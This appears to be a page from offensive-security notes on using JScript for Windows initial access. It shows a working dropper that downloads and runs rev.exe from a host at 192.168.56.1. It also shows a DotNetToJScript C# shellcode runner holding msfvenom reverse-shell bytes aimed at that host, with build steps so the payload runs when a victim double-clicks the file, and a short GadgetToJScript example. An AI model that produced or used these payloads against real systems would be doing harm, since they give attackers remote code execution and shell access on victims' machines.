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⭕JScript

WSH

VBScript and Jscript are executed by the windows script host. they run by the windows scripting host (WSH). they run as a console application (cscript.exe) or a GUI app (wscript.exe). the engines are not implemented in wscript.exe or cscript.exe. but in vbscript.dll and jscript.dll. these are both activeX DLLs which contain activeX objects.

Simple Dropper

var url = "http://192.168.56.1/rev.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200)
{
	var Stream = WScript.CreateObject('ADODB.Stream');
	Stream.Open();
	Stream.Type = 1;
	Stream.Write(Object.ResponseBody);
	Stream.Position = 0;

	Stream.SaveToFile("rev.exe", 2);
	Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("rev.exe");

DotNetToJScript

A tool for generating a JScript which bootstraps an arbitrary .NET Assembly and class. this can be used to create advanced and complicated jscript payloads from a C# source code.

Open the project in visual studio, the TestClass.cs will hold our custom C# payload for example a shellcode runner:

TestClass.cs
//    This file is part of DotNetToJScript.
//    Copyright (C) James Forshaw 2017
//
//    DotNetToJScript is free software: you can redistribute it and/or modify
//    it under the terms of the GNU General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    DotNetToJScript is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU General Public License for more details.
//
//    You should have received a copy of the GNU General Public License
//    along with DotNetToJScript.  If not, see <http://www.gnu.org/licenses/>.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
    dwMilliseconds);

        public TestClass()
        {
            // msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=6969 exitfunc=thread  -f csharp -a x64
            byte[] buf = new byte[460] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,
0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1b,0x39,0xc0,0xa8,0x38,0x01,0x41,0x54,
0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,
0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,
0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,
0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,
0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,
0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,
0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,
0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,
0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 };
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }

The payload should be placed inside the TestClass class and replace the default content of the class.

after replacing the payload, we need to change the architecture for which we want to build the ExampleAssembly project inside the solution:

set the architecture in the new window (same as the payload architecture):

after building the solution, copy the ExampleAssembly.dll, NDesk.Options.dll and DotNetToJScript.exe files in the same folder and run the following command to create a new jscript payload:

DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

when the victim double clicks the jscript file, the shellcode will be executed.

GadgetToJScript

#Create a constructor. Save as source.cs

using System;
using System.Diagnostics;

public class Same
 { 
  public Same()
   {
    Process.Start("calc.exe");
   }
 }
GadgetToJScript.exe -i source.cs -w js -r <Reference assembly> -o out.txt -f
Previousembedded OLE + LNK objectsNextHTA

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